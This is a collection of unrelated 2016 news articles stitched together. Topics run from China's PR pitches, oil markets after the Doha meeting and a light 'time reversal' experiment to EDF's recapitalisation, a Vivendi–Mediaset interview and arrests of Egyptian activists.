countries," he said. "I don't think we should give up this idea that we should push our way in (Europe) when it's important to us," he said. (Editing by Guy Faulconbridge)
By Engen Tham and Matthew Miller SHANGHAI/BEIJING (Reuters) - Five global public relations firms have made pitches to the Chinese government for a potential new campaign, four sources said, as Beijing tries to communicate more effectively with the West. The competition by the leading Western PR companies comes amid intensifying scrutiny of Chinese companies abroad, a crackdown on dissent at home and rising tensions in the South China Sea. The State Council Information Office (SCIO), the government's information and propaganda arm, has heard presentations from Hill+Knowlton, Ketchum, and Ogilvy Public Relations, according to four people and company communications seen by Reuters. FleishmanHillard and Edelman also participated in the audition, one source said. The presentations were preliminary. No contracts have been awarded, the sources said. They were not aware if any Chinese public relations firms were asked to make a presentation. China's President Xi Jinping, who has called for Beijing to take a bigger role in a global governance system, has cranked up the state machinery to project China's "soft power" and better communicate China's message to the world since taking power in November 2012. 'UNFAIRLY TREATED' China's leadership recognizes it needs to communicate more effectively to Western audiences, said an executive at one of the agencies that made presentations. "They feel they're being unfairly treated by foreign media, the executive said. China's SCIO maintains contact with foreign media, think tanks and public relations firms, aiming to encourage a better understanding of China, an official in its press department said when asked about the presentations. A spokesman for WPP, which owns Hill+Knowlton declined to comment. Ketchum also declined to comment. FleishmanHillard Inc, Ogilvy Public Relations and Edelman did not respond to messages requesting comment. The SCIO asked the public relations firms to give presentations, in separate meetings, on China's most pressing image problems and demonstrate their expertise on managing new forms of media, according to an internal email and sources. This isn't the first time the Chinese government has turned to Western PR firms to burnish its image. For instance, the Chinese government hired Hill+Knowlton to promote the 2008 Summer Olympics, amid an international outcry over China's handling of an uprising in Tibet. Protests dogged the traditional passage of the torch across the world that year. U.S. firm Weber Shandwick Worldwide also advised China during the 2008 Olympics. FACING SCRUTINY The proposed campaign comes at a crucial time for China's leadership both at home and abroad. Chinese companies, many of them state-backed are on an overseas buying spree. They often face scrutiny from the Committee on Foreign Investment in the United States (CFIUS), which is charged with assessing the national security implications of foreign acquisitions. China has been criticized internationally for not communicating clearly with financial markets, particularly in foreign exchange. Premier Li Keqiang has said China is working to improve its communication with markets. The PR campaign under consideration also comes as the government strengthens its control over domestic media and public speech at home. In January, ambassadors from United States, Canada, Germany, Japan jointly signed a letter expressing concern over a new counter terrorism law, and draft laws on cyber security law and management of foreign non-governmental organizations (NGOs), which includes widespread censorship. At the SCIO presentations in February, government officials showed more interest than in previous engagements with foreign PR agencies, said one executive familiar with the meetings. He did not elaborate. (Additional reporting by Michael Martina in Beijing; Editing by Bill Tarrant.)
The latest rumor around the global water cooler that Russia and OPEC-leader Saudi Arabia have agreed to freeze oil production at January or February levels has been dispelled... for now.

The OPEC leaders meeting in Doha failed to reach an agreement to cap production, with Iran bowing out of the meeting altogether, and refusing to pull back on its oil production. As a result, oil prices took a big tumble. Brent crude fell a harsh 7% on the news. West Texas Intermediate (WTI) fell almost as much at 6.6%.

But does a "no deal" result from the OPEC Doha meeting mean production caps are off the table? Or that OPEC wouldn't seek an alliance outside its cartel?

Hardly.

In response to the meeting, Qatar's energy minister Mohammed bin Saleh al-Sada said, "We of course respect [Iran's] position... The freeze could be more effective definitely if major producers, be it from OPEC members like Iran and others, as well as non-OPEC members, are included in the freeze."

Al-Sada said that OPEC members need more time. Which says to me that this won't be the last we hear of production caps.

Indeed, this wasn't the first time we'd heard about potential cooperation between OPEC and Russia, either.

The rumor of a possible oil production freeze lifted oil markets as much as 4.7% and kept prices for WTI above $41 mid-week last week. That means oil prices have been on a wild ride. Take a look at WTI futures:

[More from StreetAuthority.com: In This Merger Of Big Brand Names, Who Comes Out On Top?]

WTI Futures (4/14/16-4/19/16)

Up and down and up again.

But now that we have the answer to the rumor, the question is... What now? We've already seen oil prices crawl back from their big drop over the weekend.

Well, we have to stick with what we know.

There isn't a corner of the world that isn't touched by OPEC and Russian oil. An alliance would've been extremely powerful, and I would bet that after a little time passes, this rumor will start circling around again. Perhaps then, Iran might be more willing to talk about production caps.

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But I'm getting ahead of myself.

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We've seen oil prices push sharply higher right up to the Doha meeting. In total, prices climbed 19.5% since Tuesday, April 5 through April 15.

On April 8 we saw firm economic data that stoked optimistic oil demand forecasts. That could help robust economies start to eat into the oil supply glut regardless of whether or not Russia and OPEC had teamed up.

And as that oil glut shrinks, oil prices will climb. That could put U.S. production back on the table if oil prices get in the $50-55 range. In effect, that price level will become a ceiling for oil. And even a New Oil Alliance wouldn't be able to break it.

The key to understanding this dynamic is see it as a slow-burn kind of price movement. Oil gluts don't disappear overnight. And neither does excess production. That's why the U.S. continued to see strong oil production through the end of 2015. And each time we see oil prices tick higher, U.S. producers get ready to ramp up production.

Saudi Arabia and Russia, while they can't seem to get together to agree to halt production, would sure like to see some relief from low oil prices.

Both economies are suffering, and that's why Saudi Arabia, and some other OPEC nations are still hopeful for an alliance down the road.

[More from StreetAuthority.com: The $2.8 Trillion 'Economy' You Can't See]

What To Watch In The Oil Market

But in the meantime, Russia has stated publicly that it would not join OPEC in any production scheme. Saudi Arabia has also said that it would not freeze production levels without the cooperation of its rival, Iran.

The fact that Iran didn't even show up in Doha proves how serious the country is about making up for lost time due to sanction.

We also know that if some freeze does come to be, U.S. producers will start producing again once oil prices climb high enough.

All that put together tells investors that despite the recent rise in oil prices, there's a lot more uncertainty in oil's future. Investors should focus on two things: how much oversupply we have, and how quickly demand is growing. Those are the two factors that will be driving oil prices for the next year or two.

Editor's Note: Want to earn bigger gains in less time? This algorithm is delivering individual gains up 89%... 127%... even 149% in less than a year. Click here to get its latest picks.

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Using a weird phenomenon in which particles of light seem to travel at faster-than-light speeds, scientists have shown that waves of light can seem to travel backward in time.

The new experiment also shows other bizarre effects of light, such as pairs of images forming and annihilating each other.

Taken together, the results finally prove a century-old prediction made by British scientist and polymath Lord Rayleigh. The phenomenon, called time reversal, could allow researchers to develop ultra-high-speed cameras that can peer around corners and see through walls. [In Images: The World's 11 Most Beautiful Equations]

Backtracking sound waves

Lord Rayleigh  the brilliant British physicist who discovered the noble gas argon and explained why the sky is blue  also made a bizarre prediction about sound waves nearly a century ago. Rayleigh reasoned that, because the speed of sound is fixed, an object traveling faster than that while spewing out sound would result in sound waves that would seem to travel in the opposite direction of the object and thus seem to be reversed in time orientation. For instance, a phonograph on a plane traveling at Mach 2, or twice the speed of sound, would seem to play the music backward.

No scientists really doubted this notion, but there was no easy way to test it.

"Using sound, it's something that's really hard to verify and actually hear," said study co-author Daniele Faccio, a physicist at Heriot-Watt University in Scotland.

Sound travels at 761.2 mph (1,225 km/h), but that means that, to hear a 3-second clip of music going backward, a supersonic jet traveling at Mach 2 (or twice the speed of sound) would start replaying the music more than a mile from the listener's location. The scattering and absorption of the sound waves in the air would make the music completely inaudible by that time, Faccio said.

Light reversal

But Faccio and his colleagues realized that if Rayleigh's predictions held true, the same effect would occur in other types of waves, such as light waves. Light travels much, much faster than sound, at 670 million mph (1.1 billion km/h). And the wavelengths themselves are tiny, meaning the time reversal can be demonstrated in a normal-size room.

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The researchers were also interested in studying this idea because they were developing ultra-high-speed cameras that could peer around corners, and the phenomenon could affect their algorithms.

There was just one problem with testing Rayleigh's prediction with light: Nothing can travel faster than the speed of light.

To create a faster-than-light source, the team used a strange phenomenon called illumination fronts, which had previously been described in a series of fascinating thought experiments.

The trick behind illumination fronts is that, while an image may be traveling faster than light, the photons themselves never exceed light speed.

Here's how Illumination fronts work. Imagine taking a laser pointer and flicking the point across a vast and distant wall. While the photons traveling from the laser pointer to the wall are moving at their ordinary speed, because the light hits the wall at an angle, the dot on the wall (the illumination front) always moves faster than that. [Science Fiction or Fact? The Plausibility of 10 Sci-Fi Concepts]

Freezing photons in midair

Next, however, the team had to find some way to capture the speedy paths of images as they zoomed across a wall.

"The key piece of equipment was the camera that allows us to essentially freeze light in motion," Faccio told Live Science. [Video: How to Freeze Light]

To catch time reversal in the act, the team created an illumination front by projecting a single line of light on a screen and moving that line across the screen faster than the speed of light. At the same time, they captured the reflected light in motion using a super-high-speed camera. The camera snapped photos in a few picoseconds, or trillionths of a second, during which time photons travel just a few feet.

Sure enough, the camera captured the line on the wall moving in the opposite direction from the way they moved the line, as if it had traveled backward in time.

Self-annihilating twins

In a second experiment, the team verified an even more bizarre effect, called pair creation and annihilation. (Robert Nemiroff, a physicist at Michigan Technological University, predicted this effect for astronomical objects in a study posted online in May 2015 in the preprint journal arXiv.)

Faccio and his colleagues had an illumination front travel across a curved screen. As the speed of the projected lines exceeded light speed, a pair of lines was created, and the two lines moved away from each other. Using a different curvature, the pair of lines moved toward each other, merged and then annihilated each other, the researchers reported Friday (April 15) in the journal Science Advances.

The findings may have implications for the researchers' corner-peering cameras. This kind of "supersight" requires scientists to analyze the paths that light particles take as they bounce and scatter off various objects. Normally, light travels so fast that, to the human eye, the light coming from many different locations seems to appear instantaneously, making it impossible for the eye to resolve these different light paths and "see" behind corners.

But because high-speed cameras can capture the light in motion, researchers can reconstruct the shape of objects that might not be in the immediate line of sight. However, the mathematical calculation of these paths would need to account for the possibility that some of the light rays they see are time-reversed, because they are coming from an illumination front, Faccio said.

The new findings apply to any type of wave, Faccio said. For instance, there may be certain instances when a seismic wave bounces off a slanted piece of rock deep below Earth's surface, pointing to earthquake activity in one direction, when, in fact, the temblor occurred in the opposite direction, Faccio said.

The new paper also has some other interesting implications, said Nemiroff, who was not involved in the current study.

"I am not sure that either Lord Rayleigh nor [the paper's authors] were aware that sonic booms are the sound equivalent of illumination-front pair-creation events," Nemiroff told Live Science in an email. "With light, you first see a flash when a pair event is created, but with sound, you hear a boom."

Follow Tia Ghose on Twitter and Google+. Follow Live Science @livescience, Facebook & Google+. Original article on Live Science.

Copyright 2016 LiveScience, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Stockholm (AFP) - Ferries and ships will be banned from dumping toilet waste in the Baltic Sea, one of the world's most polluted bodies of water, the International Maritime Organization said Friday.

The ban will come into force in June 2019 for new passenger ships and two years later for older vessels, the IMO said in a statement.

In 2011 the IMO's Marine Environment Protection Commission (MEPC) moved to protect the Baltic Sea by designating it a "special area", but it has taken five years to agree the ban on waste tank discharging.

Sweden's infrastructure minister Anna Johansson welcomed the decision but said she regretted how long it had taken in the face of opposition from several coastal countries.

"The negotiations were long and sometimes difficult because many countries were against it," she said, declining to name nations that had opposed the deal.

Some countries had said there was insufficient infrastructure to deal with waste in the Baltic's ports.

The ban would help to promote "more sustainable shipping" and contribute to sustainable tourism, Johansson said in a statement on the Swedish government website.

"The discharge of sewage from passenger ships within the special area will generally be prohibited under the new regulations, except when the ship has in operation an approved sewage treatment plant," the IMO said in a statement.

Though the rules will not be compulsory straight away, the MEPC encouraged governments and industry groups to begin to comply immediately with the new guidelines.

Most scientists agree that the single biggest problem in the Baltic Sea is nitrates and phosphates from industrial agriculture, which cause the eutrophication of the sea bed, depleting the shallow waters of oxygen and asphyxiating plant and animal life.

Despite agreeing to an action plan in 2007 to improve conditions in the Baltic by 2021, countries in the region have largely abandoned their efforts according to environmental NGOs.
The Boulder, Colorado, City Council voted Tuesday to hire a moderator who could start peace talks between two rival groups in the city. The hope is to bring them together in an argument over whether or not Boulder should officially become sister cities with Nablus, the city in the Palestinian West Bank.

The debate has turned City Council meetings in this mountain city contentious. Those against choosing Nablus as a sister city argue a formal relationship is tantamount to picking sides in the conflict between Israelis and the Palestinians. Those who favor the move say the aim is to promote understanding between cultures. Indeed, they say the sister-cities agreement would merely formalize programs that already exist between Boulder and Nablus: Residents of the West Bank city are brought to Boulder and taught yoga, which they practice upon their return home; there is a pen-pal program between students in the two cities, as well as a proposal to build a rock-climbing wall in Nablus.

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But its not the first time the proposal has caused conflict, as the Boulder Weekly reported:

In June of 2013, the last time around, opponents argued that Nablus, a Palestinian city in the occupied West Bank of the Palestinian territories, is a hotbed of terrorism and anti-Semitic sentiment that Boulder ought to steer clear of, or, at the very least, not attach its name to via an official Sister City partnership. Proponents contested this view, arguing it is a gross mischaracterization of a complex and particularly misunderstood region. They asserted their mission of citizen-to-citizen diplomacy would foster inter-cultural understanding, therefore making their project a mutually beneficial step in the direction of world peace.

The Boulder Weekly called the issue a destructive political situation for the city. And indeed, the council was supposed to hold a public hearing on the proposal April 19, but moved for mediation because of the heightened emotions.

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The sister-city program, which is supposed to foster friendship between different cultures, formally began in 1956. The oldest recognized partnershipaccording to its own websiteis that of Toledo, Ohio, and Toledo Spain. It started because the Spanish city sided with Ohio in a boundary dispute (called the Toledo War) with Michigan, which wanted to claim Toledo (Ohio) as its own. Boulder already has seven sister cities. They are: Dushanbe, Tajikistan; Jalapa, Nicaragua; Kisumu, Kenya; Lhasa, Tibet; Mante, Mexico; Yamagata, Japan; and Yateras, Cuba.

Read more from The Atlantic:

This article was originally published on The Atlantic.
The Egyptian authorities have been conducting an investigation into the murder of the Italian student, but have been unable so far to identify the perpetrators

A US State Department spokesman said that questions over the death of Italian Giulio Regeni in Egypt could only be answered "through an impartial and a comprehensive inquiry."

At a press briefing on Thursday, reporters asked spokesman John Kirby if he had information on whether or not the 28-year-old student  whose dead body was discovered in a ditch on the outskirts of Cairo in February showing signs of extensive torture- had been held by Egyptian police forces in custody prior to his death, as a recent media report has alleged.

However, the US state department spokesperson said he was not in a position to confirm the story.

The reporters were referring to a Reuters story published quoting anonymous police and intelligence sources stating that Regeni had been detained by police on the 25 January at a police station, and held for thirty minutes before being transferred to the headquarters of the Ministry of Interior in downtown Cairo.

Kirby said that the US believes questions raised about the circumstances of Regenis death can only be answered through an impartial and a comprehensive inquiry.

We continue to call on the Government of Egypt to ensure that the investigation is conducted in a full and transparent manner and to fully collaborate with the Italian officials who we know are part of that investigation, he added.

He has also highlighted that Secretary of State John Kerry had raised concerns over human rights issues during his latest meeting with Egyptian President Abdel-Fattah El-Sisi and Foreign Minister Sameh Shoukry in Cairo on Wednesday.

On Thursday, Egypts interior ministry released a statement that denied the allegations in the Reuters report.

Egyptian authorities have repeatedly denied accusations that the security forces were involved in the death of the PhD student, who went missing on 25 January.

The Egyptian authorities have been conducting an investigation into the murder of the Italian student, but no suspects have yet been charged. Italy earlier this month withdrew its ambassador from Cairo after Egyptian investigators declined to share evidence, including call logs, they deemed relevant to the case. Egyptian investigators said the request for call logs of mobile subscribers in geographical areas related to the Regeni case was "unconstitutional" and "illegal."

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MEXICO CITY (Reuters) - Two Californian condor chicks have hatched at a Mexican zoo, the first of the highly endangered birds ever bred in captivity in the Latin American country. The chicks are being fed by vets wearing gloves that are made to look like adult condors, part of a program at Mexico City's Chapultepec Zoo to save the species. "They are very important," Juan Arturo Rivera, General Director of Zoos and Wildlife for Mexico City, told Reuters. "Soon they will be moved for a rehabilitation process so as to be able to introduce them to their natural environment in the Pedro Martir Sierra in Baja California." With a wingspan of 9.5 feet and weighing up to 25 pounds, the California condor is the largest flying bird in North America. The endangered species nearly became extinct in the 1980s but has since seen its numbers increase through conservation and re-introduction efforts. According to the U.S. Fish and Wildlife Service, the total California condor population, including those in captivity and in the wild, was 435 last year. Breeding condors in captivity is a lengthy process. Rivera said Chapultepec zoo's two adult condors hit it off from the beginning making the breeding program a quick success. "Once they are partnered then the first stage could take two or three years," he said of adult condors. "The success of Chapultepec Zoo is that when they were put together they bonded very well from the start and the following year we had these two eggs." (This version of the story corrects feet to pounds in paragraph 5) (Reporting By Reuters Television; Editing by Marie-Louise Gumuchian)
Sen. Bernie Sanders of Vermont has no chance of winning the Democratic presidential nomination at this point, short of a minor miracle. But depending on how he plays his cards over the coming weeks, the champion of his partys liberal wing could sway Hillary Clintons key decisions.

A progressive Democrat like Sen. Elizabeth Warren of Massachusetts or Sen. Jeff Merkley of Oregon, might look a lot better to Clinton as a vice presidential running mate if Sanders gives his blessing.

Related: Sanders Vows to Stay in the Race Despite Huge NY Loss

The 2016 Democratic platform might also be heavily rewritten this summer to include some of Sanders best lines challenging the Trans-Pacific Partnership trade deal, seeking to downsize big banks on Wall Street or even a rethinking of U.S. policy towards Israel and the Palestinians.

And Democratic Party rules, ranging from the role of super delegates in choosing a nominee to the exclusion of independents from some state primaries, might get a fresh scrubbing with Sanders pushing for reforms.

In the wake of Clintons 16-point drubbing of Sanders in Tuesdays New York Democratic primary, there appears to be an emerging consensus within the party that Sanders must begin to adjust to the inevitability that Clinton, the former secretary of state, will amass the necessary delegates to claim the nomination this summer.

Clinton now has 1,930 of the 2,383 pledged and super delegates she will need to win the nomination, compared to just 1,189 delegates for Sanders. If Clinton has another good week next Tuesday in Pennsylvania, Connecticut, Delaware, Maryland and Rhode Island, experts say it will be pretty much game over.

Related: Trump and Clinton Sweep New York and Score Big Delegates

Sanders and his campaign manager, Jeff Weaver, insist that the campaign will carry on to the convention, even if Clinton amasses enough pledged delegates to win the nomination before then.

But with no readily identifiable path to the nomination, Sanders must begin to consider his options for a graceful glide path to the convention  one that simultaneously lowers the tensions between him and Clinton while maximizing his leverage to influence the convention and the fall campaign.

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By any measurement, Sanders has waged a remarkable campaign that has galvanized millions of new, young voters and produced 15 victories so far in primary and caucus states  with more to come.

Related: Clinton Can Start Writing Her Nomination Acceptance Speech After NY Win

And with essentially all the money he needs to keep his campaign afloat through the convention in July, Sanders is free to continue pounding away at Clinton if he chooses while piling up more delegates.

Sanders will enter the national convention in Philadelphia with an impressive total of national delegates  many of them rabid supporters who resent Clinton and her policies  and with plenty of leverage to influence the shape and tone of the convention.

But it will be a difficult balancing act  for both Sanders and Clinton. And history shows that brilliant political also-rans like Sanders can seriously undercut the partys nominee.

Related: Clinton vs. Trump: Get Ready for the Nastiest General Election in Memory

The late Sen. Edward M. Kennedy of Massachusetts badly upstaged President Jimmy Carter during the 1980 Democratic convention in New York with a fiery, uncompromising speech after a protracted battle.

If I were advising Bernie, theres no reason to drop out before the end, Norman Ornstein, a political scholar with the American Enterprise Institute, said Thursday. Amass more delegates, because the more you have at the convention  the greater the proportion  the more bargaining power or leverage you have at the convention.

Larry J. Sabato, a University of Virginia political scientist, said, Theres no chance Bernie will be picked as VP, so thats a bridge too far.

But short of garnering the second spot on the ticket  which seems preposterous given the huge differences between the two candidates on most things there is plenty that Sanders could still achieve at the convention and during the fall campaign.

Related: Sanders Attacks Are Taking a Serious Toll on Clinton

Here are five things Sanders could ask for  and likely would get:

A big say in the choice of Clintons running mate. Clinton is going to have a tough time winning over many of Sanders true-blue supporters, but one way of doing that is bringing on board one of their own. One obvious choice would be Sen. Elizabeth Warren (D-MA), the long-time consumer advocate and banking industry scold who many liberals had hoped would challenge Clinton.



The Boston Globe has reported that senior Clinton campaign officials say Clinton is willing to consider choosing another woman to run on the ticket. Whether the country is ready to shatter the glass ceiling by electing a presidential team of two women is open to conjecture. But if Warren doesnt make it, Clinton can choose from other prominent liberal Democrats, including Sen. Sherrod Brown of Ohio and Merkley, who recently endorsed Sanders.



Ensuring that Sanders top advisers, including Jeff Weaver and Tad Devine, end up well positioned in the general election campaign. If Sanders is going to be a big player in the fall campaign to beat Donald Trump, he will need his people closely coordinating with Clintons national team.



A prime-time speaking slot at the convention. Sanders will ask for and get an opportunity to unleash his tirade against the excesses of Wall Street, income inequality and a corrupt campaign finance system. The risk for Clinton is that the speech might remind voters of the residual deep divisions between the two candidates and achieve little in terms of unifying the party.



A big say in drafting the Democratic platform. No doubt, there will be platform promises on raising the federal minimum wage to between $12 and $15 an hour; a rebuke to some international trade deals that Sanders says have cost millions of Americans jobs; and the need for Wall Street prosecutions, and campaign finance reform.



A commitment to changing the rules for selecting the nominee the next time around. Sanders has complained bitterly about the current party rules  both at the national and state level  arguing that they are not truly democratic and bar greater voter participation.

One likely target: the role of elected party leaders and officials known as super delegates who automatically vote at the convention and typically support more establishment candidates like Clinton. Sanders wants to diminish their role, or force them to reflect the popular will of their states. Another would be state party rules like the ones in New York and Pennsylvania that prevent independents from participating in closed primary elections.

Top Reads from The Fiscal Times:
PARIS (Reuters) - Emmanuel Macron should concentrate on his work and behave properly as elections approach next year, French Foreign Minister Jean-Marc Ayrault said a day after the economy minister declared that he was not President Francois Hollande's 'yes-man'. Former investment banker Macron has fueled speculation that he could run for the French presidency in 2017 by launching earlier this month his own political movement which he says is neither of the left or the right. "I am loyal to Francois Hollande on a personal level," Macron was quoted as saying in an interview with regional newspapers of the Ebra group published on Friday. "But at the same time, when a president names a minister, he does it because he think it's good for the country, not to make that person into a 'yes-man'," he added. He also said: "We need an overhaul of the political offer, and we need it now." Other ministers have urged Macron to show solidarity with Hollande, who is struggling with record-low opinion polls. Ayrault repeated that request on Friday: "He is a competent person, he does his work and he should concentrate on that work... we need a unity of action. I want to see the exemplary behavior that we need," he told Europe 1 radio. (Reporting by Michel Rose and Andrew Callus; Editing by Ingrid Melander and Dominique Vidalon)
Paris (AFP) - France said late Friday it would lead a four-billion-euro capital increase for power company EDF, months after agreeing a similar cash injection for the other pillar of its nuclear industry, Areva.

EDF, which is 85 percent owned by the French state, also pledged to cut millions more in costs and sell off assets in a bid to reduce its huge pile of debt.

The electricity giant has been hit by weak European electricity prices and hefty investments, notably its plans to help build Britain's controversial Hinkley Point nuclear plant at a projected cost of 18 billion (23 billion euros, $26 billion).

On Friday, the company again postponed its final decision on whether to continue with the project, in which the China General Nuclear Power Corporation is also a partner.

Chairman and CEO Jean-Bernard Levy told the board he would first consult with EDF's works council, as demanded by trade unions who have questioned the project's feasibility.

A source close to the group told AFP the decision, which had been expected by early May, would now take "several weeks". Union sources said it could take "two to three months".

"EDF is a group that is already in debt -- increasingly in debt -- and it is vital that we bring this debt under control," Levy said in an interview with the Figaro newspaper.

After hours of talks, the board gave the green light to raising four billion euros ($4.5 billion) of capital through a "market operation" to be carried out by the beginning of next year.

Paris will inject three billion euros, though where it will get the cash is unclear, following a similar capital increase for Areva in January backed by the French state.

In exchange, EDF will redouble its debt-cutting efforts, targeting cost reductions of at least a billion euros in 2019 compared to 2015 -- well above original plans for 700 million euros of savings over three years.

The group also plans to raise 10 billion euros from selling off gas, coal and oil interests.

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The measures are designed to help EDF better plan for the future, including paying for the maintenance of 58 French reactors and its takeover of the reactor arm of struggling nuclear giant Areva.

Unions, financial markets and even EDF's former finance chief -- who resigned in March -- have for months cast doubts on the company's ability to handle all its investments, particularly Hinkley Point.

France's Economy Minister Emmanuel Macron repeated his government's commitment Sunday to EDF's plans to build the plant in southwest England.

But questions have been raised both about its financial viability and use of largely untested technology.

John Sauven, director of Greenpeace UK, said the latest delay to EDF's investment decision "may now be the sign that the entire project is coming to a grinding halt" and showed the British government "urgently needs to back renewable energy as a more reliable alternative."

Even if EDF could agree on the financing of the project, the European Commission could scupper it on the grounds that it was being built with "illegal state aid," Sauven added.
Franco-Tunisian mogul Tarak Ben Ammar has a long history of brokering major media deals in Italy. In 2003 he persuaded Vivendi to sell pay-TV Telepiu to News Corp., paving the way for Rupert Murdochs launch of Sky Italia. He was subsequently instrumental to French media company Vivendi entering into Italys Telecom Italia. Earlier this month Ben Ammar brought Vivendi and Mediaset together in a media alliance with far-reaching ramifications. He spoke to Variety exclusively about why the deal is going to be a game-changer.

Why did Vivendi become the single biggest shareholder in Telecom Italia after selling off its telcos, in Brazil, France, and Morocco?

The new Vivendi had sold all of their telco assets to reduce their debt. Under the (Jean-Marie) Messier rule they had 24 billion Euros in debt. So they had no choice. That was a necessary financial move to bring the debt down to zero and bring ten billion Euros of cash positive to Vivendi. But once Vivendi, from their sale of their Brazilian telco, had the cash and the Telefonica stock in Telecom Italia, they went and increased that stake in Telecom Italia by spending Euros 3.3 billion, which took us to 24.9 percent. Why? Because first of all Vivendi felt Italy is the European country thats most backward in terms of Internet penetration. But more importantly, what are we seeing in todays world? You see AT&T buying Direct TV, Telefonica buying Via Digital, etc. The integration of telcos and media content is the present and the future. So Vivendi felt, since they are a media company, they could help Telecom Italia upgrade their content offering to their 28 million clients. What you are seeing elsewhere as triple or quadruple play.

So how does Mediaset fit into this plan?

Vivendi is a media company in France with StudioCanal, which has a European and international footprint, but they are not yet a media company in other countries. The alliance with Mediaset is very important because they are in Spain and in Italy. They are in free-TV and pay-TV in Italy. They are in free-TV in Spain, and Vivendi is in free and pay-TV in France. With this alliance they have millions of eyeballs watching our channels every day. Vivendi had 11 million pay-TV subscribers in places like Poland, Vietnam, and Africa, besides France. By adding Mediaset Premium now they have 13 million subscribers. Sky has 19 million, in the UK, Italy, and Germany. So its a winning alliance because they now have the possibility of producing content together for at least three countries where they are present together.

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Do you see Vivendi/Mediaset as an alternative to Netflix in these territories?

Yes. The major studios tell us there is an alternative to Netflix; they are the ones that helped Netflixs success by selling their content for hundreds of millions of dollars and now they realise that Netflix doesnt need them anymore. So they are all telling us: are you real? Are you ready to be a European group that could be an alternative to Netflix? Now with this alliance with Mediaset Vivendi is a European group. We have a foot in pay-TV and free-TV and OTT. By the Fall we are going to have an over-the-top in four countries.

Do you think Vivendi/Mediaset has a competitive edge against Netflix?

I dont know whether we have a competitive edge. I do know that there is room for other players. In America, besides Netflix, there are Amazon and Hulu. And in Europe you have Amazon. Vivendi believes that they could be another important player, and they are probably the only European player. I do think Vivendi has something they dont have in terms of promotional capacity to get subscribers to go on its OTT, Vivendis alternative to Netflix. It costs millions for Netflix to promote their service. Vivendi with its free-to-air channels and its pay-TV, and Mediaset with its channels in Italy and Spain, they have millions of eyeballs watching their channels every day. So Vivendi will promote  free-of-charge really when you think about it  its own content distribution. Thats an advantage that Netflix doesnt have. That said, there is plenty of room for both of us.

How did you forge this alliance between Bollore and the Berlusconi family?

My personal relationship with Silvio Berlusconi goes back 31 years, both as a friend and as a business partner. My personal and business relationship with Mr. Bollore goes back 16 years to when I helped him become the single biggest shareholder in Mediobanca, where I am now a board member. Thats how I became a Telecom Italia board member seven years ago. You dont make these deals unless there is a desire, an appetite, and a trust factor, which is very very important. Bollore and Berlusconi have both been shareholders in Mediobanca for many years. They know each other from the banking world, its a relationship that goes way back. Personal relationships are key because there is an element of trust. But then, I didnt do the deal alone. We did this with Pier Silvio and [Vivendi CEO] Arnaud de Puyfontaine. The negotiation was with them. I was in the middle because they both knew and trusted each other.

So Silvio wasnt involved?

No, he was not involved in the detailed negotiations and valuations, But certainly Pier Silvio kept him informed, as I did. But he never sat and looked at the contracts. All of that was done by Pier Silvio.

The Italian press has described this deal as the beginning of Berlusconis gradual sell-off of Mediaset to Vivendi once the three-year lock-up period is up

Vivendi has no intention of buying Mediaset. Thats a commitment that both Berlusconi and Bollore told each other. We are here as friends and there is no creeping control. We dont need to buy it! The objective was not a capitalistic venture. Its unimportant why Vivendi has 3.5 [percent] and they have 3.5. The issue was: what is the industrial plan? And the fact that each takes 3.5 percent of each other is to consolidate their friendship; so that they dont have to argue about the joint ventures that they are going to do. Or Vivendi could have gone on the market to buy. But no, it was friendly approach which was about OTT and content and investing hundreds of millions of Euros to produce television and films in three to four countries.

Why could this be a game changer?

If this alliance works they will be the first European media group because there are no others. You could say Sky is European, but really its an English group controlled by an American company. Also it will make directors, writers, producers, and agents very happy. Theres another buyer in town! Its up to them to be competitive, sexy, artist-friendly, content friendly. Can Vivendi be a United Artists of Europe?

Related stories

Vivendi's Vincent Bollore Considers Closing Money-Losing Canal Plus Channels

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Paris (AFP) - French Finance Minister Michel Sapin on Friday denied "slanderous" accusations that he pulled the exposed elastic of a journalist's underwear as she bent over in his presence.

The allegation was made in a book by two French journalists on reporting in the corridors of power called "Elysee Off".

"Michel Sapin categorically denies all false and slanderous accusations contained in a book published in recent days," his spokeswoman Helene Fontanaud wrote on Twitter.

She said Sapin "reserves the right to set the record straight."

The authors of the book, journalists Stephanie Marteau and Aziz Zemouri, recount the incident between the minister and another unnamed journalist during the World Economic Forum in the Swiss resort of Davos in 2015.

They write that the journalist had bent over to pick up a pen when a "minister ... the occupant of Bercy (where the finance ministry is based)" said: "Ah, but what are you showing me here" and snapped the elastic of her unintentionally exposed underwear.

The incident had previously been published as part of a 2015 petition in the Liberation newspaper signed by dozens of female journalists denouncing sexism from male politicians entitled: "Get your paws off me!"

However at the time no indication was given of who the minister was.

According to the authors of the book, Sapin's office brushed the incident off at the time, saying: "It was a schoolyard prank and the journalist flew off the handle."

A member of Sapin's team is quoted in the book saying: "He doesn't understand the fuss and is very surprised at the turn the case has taken."
INGOLSTADT, Germany (Reuters) - Chancellor Angela Merkel raised a beer glass on Friday to help celebrate 500 years since the birth of Germany's oldest and most revered brewing tradition. German beer fans are marking the anniversary of a decree of April 23, 1516 by the southern state of Bavaria imposing the "Reinheitsgebot" purity law, stating "no ingredients other than barley, hops and water are to be used" in making beer. Amid guards in traditional costume and the sound of clinking glasses, Merkel joined a celebratory event in Ingolstadt, where on Thursday a special beer fountain was unveiled. While no longer actual law, the Reinheitsgebot is still regarded as an important tradition and for many brewers a guideline on how German beer ought to be made. (Reporting by Ralph Brock; Editing by Marie-Louise Gumuchian)
Managua (AFP) - A baby tapir abandoned by its mother can thank female goats in Nicaragua's National Zoo for its survival, sucking at their teats for milk, the director said.

"As the mother didn't want it, we decided to give it a bottle with goat's milk, because that doesn't give colic. And then we gave it the teat of a goat that had recently given birth," Marina Arguello told AFP.

But the tapir, Motita, proved too greedy for just one goat, and so others were pressed into milk service, she said.

The zoo has a breeding program for tapirs, which are herbivorous pig-like animals with long, flexible snouts. They are native to Central and South America.

They can grow to be two meters (six and half feet) long, weigh up to 300 kilograms (660 pounds) and live to 18 years.

The abandoned baby tapir in the zoo got its name because in Nicaragua "Motita" is a term used to refer to orphans.

The zoo's director said it is impossible to force a tapir mother to give milk to its young. "It's a question of character," she said.
Police made arrests in Cairo, Alexandria and other parts of the country on Thursday night

Dozens of activists were arrested on Thursday in Cairo, Alexandria, the Nile Delta and Upper Egypt ahead of planned protests on 25 April.

The police raided several Cairo cafes and arrested dozens of people late on Thursday night and in the early hours of Friday morning, according to a statement by the Freedom for the Brave campaign.

Lawyer Amr Imam told Ahram Online that at least 100 people were estimated to have been arrested around the country on Thursday night.

